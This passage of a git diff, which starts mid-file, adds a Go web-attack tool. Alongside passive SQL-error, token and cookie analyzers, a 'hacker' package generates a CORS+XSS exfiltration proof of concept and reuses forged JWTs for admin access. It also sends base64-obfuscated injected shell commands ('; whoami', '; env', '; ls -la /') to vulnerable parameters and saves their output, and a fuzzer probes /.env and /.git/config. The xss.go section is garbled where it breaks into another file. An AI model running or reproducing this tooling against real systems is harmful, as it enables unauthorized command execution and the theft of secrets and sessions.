`) +} + +func escapeHTML(s string) string { + s = strings.ReplaceAll(s, "&", "&") + s = strings.ReplaceAll(s, "<", "<") + s = strings.ReplaceAll(s, ">", ">") + return s +} + +func (r *Report) Save(path string) error { + return nil +} diff --git a/internal/engine/sqli.go b/internal/engine/sqli.go new file mode 100644 index 0000000..6c3cbe6 --- /dev/null +++ b/internal/engine/sqli.go @@ -0,0 +1,130 @@ +package engine + +import ( + "context" + "fmt" + "regexp" + + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +var ( + dbErrorPatterns = []struct { + db string + pattern *regexp.Regexp + }{ + {"MySQL", regexp.MustCompile(`(?i)SQL\s+syntax.*?MySQL|You have an error in your SQL syntax|Warning.*?mysql_|MariaDB server|driver.*?mysql`)}, + {"PostgreSQL", regexp.MustCompile(`(?i)PostgreSQL|ERROR:\s+.*?pg_|driver.*?postgres|psql`)}, + {"MSSQL", regexp.MustCompile(`(?i)Microsoft\s+SQL\s+Server|Driver.*?SQL\s*Server|OLEDB|SQLServer|\[SQL Server\]`)}, + {"Oracle", regexp.MustCompile(`(?i)Oracle\s+Driver|ORA-[0-9]{5}|oracle\.jdbc`)}, + {"SQLite", regexp.MustCompile(`(?i)SQLite|sqlite_.*?\(|SQLITE_ERROR`)}, + {"DB2", regexp.MustCompile(`(?i)DB2|IBM\s+DB2|db2_\w+`)}, + {"HSQLDB", regexp.MustCompile(`(?i)HSQLDB|org\.hsqldb`)}, + {"Firebird", regexp.MustCompile(`(?i)Firebird|interbase`)}, + {"CockroachDB", regexp.MustCompile(`(?i)cockroach`)}, + {"Generic", regexp.MustCompile(`(?i)unclosed quotation mark|quot;|division by zero|pg_|mysqli_|sqlite_|odbc_`)}, + } + + sqliErrorIndicators = []*regexp.Regexp{ + regexp.MustCompile(`(?i)unclosed\s+quotation\s+mark`), + regexp.MustCompile(`(?i)unclosed\s+quote`), + regexp.MustCompile(`(?i)unexpected\s+end\s+of\s+SQL`), + regexp.MustCompile(`(?i)mysql_fetch|mysql_num_rows|mysql_query`), + regexp.MustCompile(`(?i)supplied\s+argument\s+is\s+not\s+a\s+valid`), + regexp.MustCompile(`(?i)Column\s+not\s+found`), + regexp.MustCompile(`(?i)Unknown\s+column`), + regexp.MustCompile(`(?i)Table\s+.*?doesn't\s+exist`), + regexp.MustCompile(`(?i)Syntax\s+error\s+in\s+string`), + regexp.MustCompile(`(?i)Warning.*?mysql_`), + regexp.MustCompile(`(?i)Conversion\s+failed`), + regexp.MustCompile(`(?i)Invalid\s+query\s+string`), + } +) + +type SQLiAnalyzer struct{} + +func NewSQLiAnalyzer() *SQLiAnalyzer { + return &SQLiAnalyzer{} +} + +func (a *SQLiAnalyzer) Name() string { + return "sqli" +} + +func (a *SQLiAnalyzer) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil || len(resp.Body) == 0 { + return nil + } + + var findings []types.Finding + body := string(resp.Body) + + for _, sq := range sqliErrorIndicators { + select { + case <-ctx.Done(): + return findings + default: + } + + if sq.MatchString(body) { + var matchedDB string + for _, db := range dbErrorPatterns { + if db.pattern.MatchString(body) { + matchedDB = db.db + break + } + } + if matchedDB == "" { + matchedDB = "Unknown" + } + + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("SQL Injection — %s", matchedDB), + Severity: types.SeverityCritical, + Description: fmt.Sprintf("Database error message detected indicating possible SQL injection — %s", matchedDB), + Evidence: fmt.Sprintf("DB Error: %s", extractSnippet(body, sq.String(), 80)), + Confidence: 0.85, + Metadata: map[string]string{ + "database": matchedDB, + "request_url": resp.RequestURL, + }, + }) + return findings + } + } + + for _, db := range dbErrorPatterns { + select { + case <-ctx.Done(): + return findings + default: + } + + if db.pattern.MatchString(body) { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("Database Information Disclosure — %s", db.db), + Severity: types.SeverityMedium, + Description: fmt.Sprintf("Response contains database fingerprint or error pattern indicating %s usage", db.db), + Evidence: fmt.Sprintf("Pattern: %s: %s", db.db, extractSnippet(body, db.pattern.String(), 80)), + Confidence: 0.6, + Metadata: map[string]string{ + "database": db.db, + "request_url": resp.RequestURL, + }, + }) + } + } + + return findings +} + +func hasAnyError(body string) bool { + for _, re := range sqliErrorIndicators { + if re.MatchString(body) { + return true + } + } + return false +} diff --git a/internal/engine/tls.go b/internal/engine/tls.go index 5c4730c..19c0c7a 100644 --- a/internal/engine/tls.go +++ b/internal/engine/tls.go @@ -6,7 +6,7 @@ import ( "fmt" "strings" - "github.com/nice-scan/nice_scan/internal/types" + "github.com/NICE-DEV226/nice-Scan/internal/types" ) type TLSAnalyzer struct{} diff --git a/internal/engine/tokens.go b/internal/engine/tokens.go new file mode 100644 index 0000000..4325457 --- /dev/null +++ b/internal/engine/tokens.go @@ -0,0 +1,284 @@ +package engine + +import ( + "context" + "encoding/base64" + "encoding/json" + "fmt" + "regexp" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +var ( + rxBearer = regexp.MustCompile(`(?i)Bearer\s+([A-Za-z0-9\-_.]+(?:\.[A-Za-z0-9\-_.]+)+)`) + rxBasicAuth = regexp.MustCompile(`(?i)Basic\s+([A-Za-z0-9+/=]+)`) + rxAccessToken = regexp.MustCompile(`(?i)access[_\-]token["']?\s*[:=]\s*["']([A-Za-z0-9\-_.]+)["']`) + rxAPIToken = regexp.MustCompile(`(?i)api[_\-]key|api[_\-]token|app[_\-]token["']?\s*[:=]\s*["']([A-Za-z0-9\-_.@]+)["']`) + rxSecret = regexp.MustCompile(`(?i)secret["']?\s*[:=]\s*["']([A-Za-z0-9\-_.@!]+)["']`) + rxPassword = regexp.MustCompile(`(?i)password["']?\s*[:=]\s*["']([^"']{6,})["']`) + rxSession = regexp.MustCompile(`(?i)session["']?\s*[:=]\s*["']([A-Za-z0-9\-_.%]+)["']`) + rxAuth = regexp.MustCompile(`(?i)authorization["']?\s*[:=]\s*["']([^"']+)["']`) + + sessionCookies = []string{ + "sessionid", "session_id", "sessid", "sid", "PHPSESSID", "JSESSIONID", + "ASP.NET_SessionId", "connect.sid", "laravel_session", "_session", + "ci_session", "symfony", "PHPSESSID", + } + + rxJWT = regexp.MustCompile(`eyJ[A-Za-z0-9\-_]+\.eyJ[A-Za-z0-9\-_]+(\.[A-Za-z0-9\-_]+)?`) +) + +type TokenExtractor struct{} + +func NewTokenExtractor() *TokenExtractor { + return &TokenExtractor{} +} + +func (t *TokenExtractor) Name() string { + return "tokens" +} + +func (t *TokenExtractor) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil { + return nil + } + + var findings []types.Finding + + headerAuth := resp.Headers.Get("Authorization") + body := string(resp.Body) + combined := headerAuth + "\n" + body + + if m := rxJWT.FindString(combined); m != "" { + findings = append(findings, t.analyzeJWT(m)) + } + + if m := rxBearer.FindStringSubmatch(combined); len(m) > 1 { + if !rxJWT.MatchString(m[1]) { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "Bearer Token Found", + Severity: types.SeverityHigh, + Description: "Bearer authentication token found in response", + Evidence: fmt.Sprintf("Token: %s...", truncate(m[1], 30)), + Confidence: 0.8, + }) + } + } + + for _, name := range sessionCookies { + for _, c := range resp.Headers.Values("Set-Cookie") { + if strings.HasPrefix(strings.TrimSpace(c), name+"=") { + val := extractCookieValue(c) + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: fmt.Sprintf("Session Cookie: %s", name), + Severity: types.SeverityInfo, + Description: "Session cookie set by application", + Evidence: fmt.Sprintf("%s=%s...", name, truncate(val, 20)), + Confidence: 0.9, + Metadata: map[string]string{ + "cookie": name, + "raw": c, + }, + }) + + if !strings.Contains(c, "; Secure") && strings.HasPrefix(resp.RequestURL, "https") { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("Session Cookie Missing Secure Flag: %s", name), + Severity: types.SeverityMedium, + Description: "Session cookie transmitted over HTTPS without Secure flag — possible session hijacking via man-in-the-middle", + Evidence: fmt.Sprintf("Cookie: %s (missing Secure flag on HTTPS)", c), + Confidence: 0.9, + }) + } + if !strings.Contains(c, "; HttpOnly") { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("Session Cookie Missing HttpOnly Flag: %s", name), + Severity: types.SeverityLow, + Description: "Session cookie accessible via JavaScript — possible XSS-based session theft", + Evidence: fmt.Sprintf("Cookie: %s (missing HttpOnly)", c), + Confidence: 0.9, + }) + } + } + } + } + + patterns := []struct { + rx *regexp.Regexp + name string + sev types.Severity + desc string + conf float64 + }{ + {rxAccessToken, "Access Token Leaked", types.SeverityCritical, "Access token exposed in response body", 0.85}, + {rxAPIToken, "API Key / Token Leaked", types.SeverityCritical, "API key or token exposed in response body", 0.85}, + {rxSecret, "Secret Key Leaked", types.SeverityCritical, "Secret key exposed in response body", 0.8}, + {rxPassword, "Password Leaked", types.SeverityCritical, "Password or credential exposed in response body", 0.85}, + {rxAuth, "Authorization Credential Leaked", types.SeverityHigh, "Authorization credential exposed in response", 0.75}, + {rxBasicAuth, "Basic Auth Credential", types.SeverityHigh, "Base64-encoded Basic Authentication credentials found", 0.8}, + } + + for _, p := range patterns { + select { + case <-ctx.Done(): + return findings + default: + } + for _, m := range p.rx.FindAllStringSubmatch(body, -1) { + val := "" + if len(m) > 1 { + val = truncate(m[1], 30) + } else { + val = truncate(m[0], 40) + } + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: p.name, + Severity: p.sev, + Description: p.desc, + Evidence: val, + Confidence: p.conf, + }) + } + } + + return findings +} + +type jwtHeader struct { + Alg string `json:"alg"` + Typ string `json:"typ"` + Kid string `json:"kid"` +} + +type jwtClaims struct { + Sub string `json:"sub"` + Iss string `json:"iss"` + Aud any `json:"aud"` + Exp float64 `json:"exp"` + Nbf float64 `json:"nbf"` + Iat float64 `json:"iat"` + Role string `json:"role"` + Roles []string `json:"roles"` + Admin bool `json:"admin"` + Email string `json:"email"` + User string `json:"user"` + Name string `json:"name"` + Scp string `json:"scope"` +} + +func (t *TokenExtractor) analyzeJWT(raw string) types.Finding { + parts := strings.Split(raw, ".") + if len(parts) < 2 { + return types.Finding{} + } + + var hdr jwtHeader + var cls jwtClaims + hdrStr := decodeBase64URL(parts[0]) + clsStr := decodeBase64URL(parts[1]) + json.Unmarshal([]byte(hdrStr), &hdr) + json.Unmarshal([]byte(clsStr), &cls) + + var details []string + details = append(details, fmt.Sprintf("Alg: %s", hdr.Alg)) + + if cls.Iss != "" { + details = append(details, fmt.Sprintf("Issuer: %s", cls.Iss)) + } + if cls.Sub != "" { + details = append(details, fmt.Sprintf("Subject: %s", cls.Sub)) + } + if cls.Email != "" { + details = append(details, fmt.Sprintf("Email: %s", cls.Email)) + } + if cls.User != "" { + details = append(details, fmt.Sprintf("User: %s", cls.User)) + } + if cls.Name != "" { + details = append(details, fmt.Sprintf("Name: %s", cls.Name)) + } + + // Algorithm confusion (none algorithm) + sev := types.SeverityMedium + conf := 0.7 + if hdr.Alg == "none" { + sev = types.SeverityCritical + conf = 0.95 + details = append(details, "VULNERABILITY: alg=none — JWT signature verification bypass!") + } else if hdr.Alg == "HS256" || hdr.Alg == "HS384" || hdr.Alg == "HS512" { + conf = 0.85 + details = append(details, "Symmetric algorithm — susceptible to key confusion if public key is used as HMAC secret") + } + + if cls.Role != "" { + details = append(details, fmt.Sprintf("Role: %s — potential privilege escalation target", cls.Role)) + } + if cls.Admin { + details = append(details, "admin: true — user has admin privileges in token") + sev = types.SeverityHigh + } + if len(cls.Roles) > 0 { + details = append(details, fmt.Sprintf("Roles: [%s] — privilege escalation targets", strings.Join(cls.Roles, ", "))) + } + + expInfo := "" + if cls.Exp > 0 { + expStr := fmt.Sprintf("Expiry: %.0f", cls.Exp) + details = append(details, expStr) + expInfo = fmt.Sprintf("exp=%.0f", cls.Exp) + } + + meta := map[string]string{ + "algorithm": hdr.Alg, + "type": hdr.Typ, + } + if cls.Role != "" { + meta["role"] = cls.Role + } + if cls.Email != "" { + meta["email"] = cls.Email + } + if cls.Sub != "" { + meta["subject"] = cls.Sub + } + if expInfo != "" { + meta["expiry"] = expInfo + } + + return types.Finding{ + Type: types.FindingSecret, + Name: "JWT Token Decoded", + Severity: sev, + Description: fmt.Sprintf("JSON Web Token decoded — %s", strings.Join(details, " | ")), + Evidence: truncate(raw, 80), + Confidence: conf, + Metadata: meta, + } +} + +func decodeBase64URL(s string) string { + s = strings.TrimRight(s, "=") + s = strings.ReplaceAll(s, "-", "+") + s = strings.ReplaceAll(s, "_", "/") + b, err := base64.StdEncoding.DecodeString(s) + if err != nil { + return "" + } + return string(b) +} + +func extractCookieValue(c string) string { + parts := strings.SplitN(c, ";", 2) + kv := strings.SplitN(parts[0], "=", 2) + if len(kv) == 2 { + return kv[1] + } + return "" +} diff --git a/internal/engine/xss.go b/internal/engine/xss.go new file mode 100644 index 0000000..2a6a2cb --- /dev/null +++ b/internal/engine/xss.go @@ -0,0 +1,128 @@ +package engine + +import ( + "context" + "fmt" + "regexp" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +var ( + rxXSSReflected = regexp.MustCompile(`(?i) + +` + + kb.AddSecret("CORS+XSS PoC generated — manual deployment required") + + findings := []Finding{ + { + Type: "chain_exploit_poc", + Name: "CORS+XSS Data Exfiltration — PoC Ready", + Severity: SevCritical, + Description: "Generate crafted HTML page that exfiltrates authenticated data via CORS + XSS", + Evidence: pocHTML[:300] + "...", + Details: map[string]string{"html": pocHTML}, + }, + } + return ActionResult{Findings: findings} +} + +type JWTAdminChainAction struct { + pattern ChainPattern +} + +func (a *JWTAdminChainAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Chain: JWT → Admin PWN", + Description: "Use forged JWT to access admin endpoints", + Priority: 1, + Requires: []string{"has_forged_jwt", "has_admin"}, + Provides: []string{}, + } +} + +func (a *JWTAdminChainAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + jwtToken := kb.Session.GetActiveJWT() + findings := []Finding{ + { + Type: "chain_exploit_jwt_admin", + Name: "JWT → Admin Access Chain", + Severity: SevCritical, + Description: fmt.Sprintf("Attempting admin access with forged JWT on %s", target), + Evidence: fmt.Sprintf("Token: %s", jwtToken), + }, + } + + if jwtToken != "" { + kb.Session.SetActiveJWT(jwtToken) + kb.AddCapability(Capability{ + Name: "has_admin_session", + Target: target, + }) + } + + return ActionResult{Findings: findings} +} diff --git a/internal/hacker/cmd_exploit.go b/internal/hacker/cmd_exploit.go new file mode 100644 index 0000000..5743ea5 --- /dev/null +++ b/internal/hacker/cmd_exploit.go @@ -0,0 +1,117 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type CMDShellAction struct { + vulnURL string + param string +} + +func (a *CMDShellAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "CMD Shell", + Description: "Execute commands and capture output — whoami, id, ls, ifconfig", + Priority: 71, + Requires: []string{}, + Provides: []string{"data_extracted", "has_rce"}, + } +} + +var cmdCommandsB64 = []struct { + name string + cmd string +}{ + {name: "whoami", cmd: "OyB3aG9hbWk="}, + {name: "id", cmd: "OyBpZA=="}, + {name: "uname", cmd: "OyB1bmFtZSAtYQ=="}, + {name: "pwd", cmd: "OyBwd2Q="}, + {name: "ls_root", cmd: "OyBscyAtbGEgLw=="}, + {name: "ls_var", cmd: "OyBscyAtbGEgL3Zhci93d3c="}, + {name: "ifconfig", cmd: "OyBpZmNvbmZpZw=="}, + {name: "netstat", cmd: "OyBuZXRzdGF0IC1hbnQ="}, + {name: "ps", cmd: "OyBwcyBhdXg="}, + {name: "env", cmd: "OyBlbnY="}, +} + +func (a *CMDShellAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var allOutput strings.Builder + allOutput.WriteString(fmt.Sprintf("CMD Shell Output\nURL: %s\nParam: %s\n", a.vulnURL, a.param)) + allOutput.WriteString(strings.Repeat("-", 50) + "\n") + + baseURL := a.vulnURL + if idx := strings.Index(baseURL, "?"); idx > 0 { + baseURL = baseURL[:idx] + } + + for _, cmd := range cmdCommandsB64 { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + cmdBytes, err := base64.StdEncoding.DecodeString(cmd.cmd) + if err != nil { + continue + } + cmdStr := string(cmdBytes) + + encodedCmd := strings.ReplaceAll(cmdStr, " ", "%20") + + testURL := fmt.Sprintf("%s?%s=%s", baseURL, a.param, encodedCmd) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if len(body) > 5 { + allOutput.WriteString(fmt.Sprintf("=== %s (%s) ===\n", cmd.name, cmdStr)) + allOutput.WriteString(body) + allOutput.WriteString("\n\n") + + savedPath := kb.ReportDir.Save("cmd_output", cmd.name+".txt", []byte(body)) + findings = append(findings, Finding{ + Type: "cmd_output", + Name: fmt.Sprintf("CMD: %s output captured", cmd.name), + Severity: SevCritical, + Description: fmt.Sprintf("Executed '%s' — output saved (%d bytes)", cmdStr, len(body)), + Evidence: savedPath, + }) + } + } + + savedPath := kb.ReportDir.Save("cmd_output", "_all_commands.txt", []byte(allOutput.String())) + if len(findings) > 0 { + findings = append(findings, Finding{ + Type: "cmd_shell_ready", + Name: "Interactive shell access confirmed", + Severity: SevCritical, + Description: fmt.Sprintf("%d commands executed, output saved to %s", len(findings), savedPath), + Evidence: savedPath, + }) + + kb.AddCapability(Capability{ + Name: "has_rce", + Target: target, + Details: map[string]string{ + "shell_url": a.vulnURL, + "param": a.param, + }, + }) + } + + return ActionResult{Findings: findings} +} diff --git a/internal/hacker/crawl.go b/internal/hacker/crawl.go new file mode 100644 index 0000000..df2453a --- /dev/null +++ b/internal/hacker/crawl.go @@ -0,0 +1,316 @@ +package hacker + +import ( + "context" + "net/url" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type CrawlAction struct{} + +func (a *CrawlAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Web Crawler", + Description: "BFS crawl — discover pages, forms, endpoints, JS files", + Priority: 10, + Requires: nil, + Provides: []string{"has_pages", "has_api", "has_login", "has_admin", "has_upload", "has_graphql", "has_forms"}, + } +} + +func (a *CrawlAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + baseURL := strings.TrimRight(target, "/") + visited := make(map[string]bool) + var queue []string + queue = append(queue, baseURL) + visited[baseURL] = true + + maxPages := 30 + depth := map[string]int{baseURL: 0} + maxDepth := 2 + + var findings []Finding + + for len(queue) > 0 && len(visited) <= maxPages { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + u := queue[0] + queue = queue[1:] + + if depth[u] >= maxDepth { + continue + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + continue + } + + body := string(resp.Body) + links := extractLinks(body, baseURL) + jsFiles := extractJS(body) + forms := extractFormCount(body) + title := extractTitle(body) + + page := Page{ + URL: u, + Title: title, + Forms: forms, + Links: links, + JSFiles: jsFiles, + BodyLen: len(body), + Status: resp.StatusCode, + } + kb.AddPage(page) + + if forms > 0 { + formTypes := detectFormTypes(body) + for _, ft := range formTypes { + kb.AddFinding(Finding{ + Type: ft, + Name: ft + " form detected", + Severity: SevMedium, + Description: "Form found on " + u, + Evidence: u, + }) + } + } + + if len(jsFiles) > 0 { + findings = append(findings, Finding{ + Type: "js_discovery", + Name: "JavaScript files discovered", + Severity: SevInfo, + Description: "JS files may contain API endpoints, tokens, and secrets", + Evidence: strings.Join(jsFiles, ", "), + }) + } + + if len(links) > 30 { + findings = append(findings, Finding{ + Type: "crawl_sitemap", + Name: "Large page with many links", + Severity: SevInfo, + Description: "Page may be a sitemap or index with many endpoints", + Evidence: u, + }) + } + + for _, link := range links { + abs := resolveURL(link, baseURL) + if abs == "" { + continue + } + if !isSameDomain(abs, baseURL) { + continue + } + if !visited[abs] { + visited[abs] = true + depth[abs] = depth[u] + 1 + queue = append(queue, abs) + kb.SetParentURL(abs, u) + } + } + } + + return ActionResult{Findings: findings} +} + +type CrawlResult struct { + Pages int + Findings []Finding +} + +func extractLinks(body, baseURL string) []string { + var links []string + seen := make(map[string]bool) + + for i := 0; i < len(body); { + idx := strings.Index(strings.ToLower(body[i:]), "href=") + if idx == -1 { + break + } + start := i + idx + 5 + if start >= len(body) { + break + } + var end int + quote := body[start] + if quote == '"' || quote == '\'' { + for end = start + 1; end < len(body); end++ { + if body[end] == byte(quote) { + break + } + } + link := body[start+1 : end] + link = strings.TrimSpace(link) + if link != "" && !strings.HasPrefix(link, "#") && !strings.HasPrefix(link, "javascript:") && !strings.HasPrefix(link, "mailto:") && !strings.HasPrefix(link, "tel:") && !seen[link] { + links = append(links, link) + seen[link] = true + } + i = end + 1 + } else { + i = start + 1 + } + } + return links +} + +func extractJS(body string) []string { + var jsFiles []string + seen := make(map[string]bool) + lowBody := strings.ToLower(body) + + for i := 0; i < len(lowBody); { + idx := strings.Index(lowBody[i:], "src=") + if idx == -1 { + break + } + start := i + idx + 4 + if start >= len(lowBody) { + break + } + var end int + quote := body[start] + if quote == '"' || quote == '\'' { + for end = start + 1; end < len(body); end++ { + if body[end] == byte(quote) { + break + } + } + src := body[start+1 : end] + if (strings.HasSuffix(strings.ToLower(src), ".js") || strings.Contains(strings.ToLower(src), ".js?")) && !seen[src] { + jsFiles = append(jsFiles, src) + seen[src] = true + } + i = end + 1 + } else { + i = start + 1 + } + } + + _ = strings.Contains(lowBody, "') + if closing == -1 { + break + } + count++ + i = i + idx + closing + 1 + } + return count +} + +func extractTitle(body string) string { + lowBody := strings.ToLower(body) + start := strings.Index(lowBody, "') + if closeTag == -1 { + return "" + } + contentStart := start + closeTag + 1 + end := strings.Index(lowBody[contentStart:], "") + if end == -1 { + return "" + } + title := body[contentStart : contentStart+end] + title = strings.TrimSpace(title) + if len(title) > 100 { + title = title[:97] + "..." + } + return title +} + +func detectFormTypes(body string) []string { + var types []string + lowBody := strings.ToLower(body) + + formChecks := []struct { + keyword string + ftype string + }{ + {"password", "has_login"}, + {"login", "has_login"}, + {"signin", "has_login"}, + {"register", "has_register"}, + {"signup", "has_register"}, + {"reset", "has_reset"}, + {"forgot", "has_reset"}, + {"upload", "has_upload"}, + {"file", "has_upload"}, + {"graphql", "has_graphql"}, + {"/api", "has_api"}, + {"admin", "has_admin"}, + {"dashboard", "has_admin"}, + } + + seen := make(map[string]bool) + for _, check := range formChecks { + if strings.Contains(lowBody, check.keyword) && !seen[check.ftype] { + types = append(types, check.ftype) + seen[check.ftype] = true + } + } + return types +} + +func resolveURL(href, baseURL string) string { + if href == "" || href == "/" { + return "" + } + if strings.HasPrefix(href, "http://") || strings.HasPrefix(href, "https://") { + return href + } + base, err := url.Parse(baseURL) + if err != nil { + return "" + } + rel, err := url.Parse(href) + if err != nil { + return "" + } + resolved := base.ResolveReference(rel) + result := resolved.String() + if result == baseURL { + return "" + } + if strings.Contains(result, "#") { + result = result[:strings.IndexByte(result, '#')] + } + if strings.HasSuffix(result, "?") { + result = result[:len(result)-1] + } + return result +} + +func isSameDomain(u1, u2 string) bool { + p1, err1 := url.Parse(u1) + p2, err2 := url.Parse(u2) + if err1 != nil || err2 != nil { + return true + } + return p1.Host == p2.Host +} diff --git a/internal/hacker/fuzz.go b/internal/hacker/fuzz.go new file mode 100644 index 0000000..0b28562 --- /dev/null +++ b/internal/hacker/fuzz.go @@ -0,0 +1,204 @@ +package hacker + +import ( + "context" + "fmt" + "net/url" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type FuzzAction struct{} + +func (a *FuzzAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Fuzzer", + Description: "Directory + parameter fuzzing — find hidden endpoints", + Priority: 20, + Requires: []string{"has_pages"}, + Provides: []string{"has_api", "has_admin", "has_graphql", "has_upload", "has_s3"}, + } +} + +var commonPaths = []string{ + "/admin", "/api", "/api/v1", "/api/v2", "/graphql", + "/.git/config", "/.env", "/.htaccess", "/.well-known/security.txt", + "/backup", "/config", "/dashboard", "/debug", "/health", + "/info", "/internal", "/logs", "/metrics", "/monitor", + "/phpinfo.php", "/robots.txt", "/sitemap.xml", + "/static", "/status", "/swagger", "/swagger-resources", + "/test", "/uploads", "/vendor", "/version", + "/webhook", "/ws", "/wp-admin", "/wp-content", + "/api/graphql", "/api/health", "/api/status", + "/api/users", "/api/admin", "/api/docs", + "/api/swagger.json", "/api/openapi.json", + "/actuator", "/actuator/health", + "/.git/HEAD", "/console", "/manage", + "/shell", "/cmd", "/exec", +} + +var commonParams = []string{ + "id", "user_id", "user", "uid", "username", + "file", "path", "page", "role", "admin", + "debug", "token", "api_key", "secret", + "cmd", "command", "exec", "action", +} + +func (a *FuzzAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + baseURL := strings.TrimRight(target, "/") + var findings []Finding + + for _, path := range commonPaths { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + u := baseURL + path + if kb.IsChecked(u) { + continue + } + kb.MarkChecked(u) + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + continue + } + + if isInterestingPath(resp, path) { + ep := Endpoint{ + Path: path, + Method: "GET", + Status: resp.StatusCode, + BodyLen: len(resp.Body), + ContentType: resp.ContentType, + } + kb.AddEndpoint(ep) + + sev := classifyPathSeverity(path, resp.StatusCode) + + findings = append(findings, Finding{ + Type: "endpoint", + Name: fmt.Sprintf("Endpoint: %s (%d)", path, resp.StatusCode), + Severity: sev, + Description: fmt.Sprintf("Discovered %s returns %d (%d bytes)", path, resp.StatusCode, len(resp.Body)), + Evidence: u, + }) + } + } + + if len(findings) > 3 { + findings = append(findings, Finding{ + Type: "fuzz_complete", + Name: "Fuzzing complete — multiple endpoints discovered", + Severity: SevInfo, + Description: fmt.Sprintf("Discovered %d hidden endpoints", len(findings)), + }) + } + + u, _ := url.Parse(baseURL) + if u != nil { + for _, param := range commonParams { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + q := u.Query() + q.Set(param, "1") + u.RawQuery = q.Encode() + paramURL := u.String() + u.RawQuery = "" + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: paramURL, + }) + if err != nil { + continue + } + + if resp.StatusCode == 200 && len(resp.Body) > 50 { + findings = append(findings, Finding{ + Type: "parameter", + Name: fmt.Sprintf("Parameter accepted: %s", param), + Severity: SevLow, + Description: fmt.Sprintf("Endpoint accepts %s parameter", param), + Evidence: paramURL, + }) + } + } + } + + return ActionResult{Findings: findings} +} + +func isInterestingPath(resp *types.Response, path string) bool { + if resp.StatusCode == 404 { + return false + } + if resp.StatusCode >= 500 { + return true + } + if resp.StatusCode >= 200 && resp.StatusCode < 300 { + if len(resp.Body) > 20 { + return true + } + } + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + return true + } + if resp.StatusCode == 401 || resp.StatusCode == 403 { + return true + } + if resp.ContentLength > 0 { + return true + } + return false +} + +func classifyPathSeverity(path string, status int) Severity { + sensitive := []string{ + ".git", ".env", ".htaccess", "config", "backup", + "admin", "dashboard", "console", "manage", + "shell", "cmd", "exec", "phpinfo", + "swagger", "graphql", "api", + } + + lowBody := strings.ToLower(path) + + if status == 200 || status == 201 { + for _, s := range sensitive { + if strings.Contains(lowBody, s) { + return SevCritical + } + } + return SevHigh + } + + if status == 401 || status == 403 { + for _, s := range sensitive { + if strings.Contains(lowBody, s) { + return SevHigh + } + } + return SevMedium + } + + if status >= 300 && status < 400 { + return SevMedium + } + + if status >= 500 { + return SevHigh + } + + return SevLow +} diff --git a/internal/hacker/graphql.go b/internal/hacker/graphql.go new file mode 100644 index 0000000..9569e98 --- /dev/null +++ b/internal/hacker/graphql.go @@ -0,0 +1,210 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type GraphQLAction struct{} + +func (a *GraphQLAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "GraphQL Inspector", + Description: "Introspection, schema dump, mutation fuzzing", + Priority: 55, + Requires: []string{"has_graphql"}, + Provides: []string{"has_graphql_schema"}, + } +} + +func (a *GraphQLAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + var graphqlEPs []string + + for _, ep := range endpoints { + if strings.Contains(ep.Path, "graphql") || strings.Contains(ep.ContentType, "graphql") { + graphqlEPs = append(graphqlEPs, ep.Path) + } + } + + if len(graphqlEPs) == 0 { + pages := kb.GetPages() + for _, p := range pages { + if strings.Contains(p.URL, "graphql") { + graphqlEPs = append(graphqlEPs, p.URL) + } + } + } + + if len(graphqlEPs) == 0 { + candidates := []string{"/graphql", "/api/graphql", "/graph", "/gql", "/v1/graphql", "/v2/graphql"} + for _, c := range candidates { + testURL := strings.TrimRight(target, "/") + c + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: testURL, + Headers: map[string]string{"Content-Type": "application/json"}, + Body: []byte(`{"query":"{__typename}"}`), + }) + if err == nil && resp.StatusCode == 200 { + graphqlEPs = append(graphqlEPs, testURL) + } + } + } + + for _, ep := range graphqlEPs { + schema, err := graphqlIntrospect(ctx, client, ep) + if err == nil && schema != "" { + findings = append(findings, Finding{ + 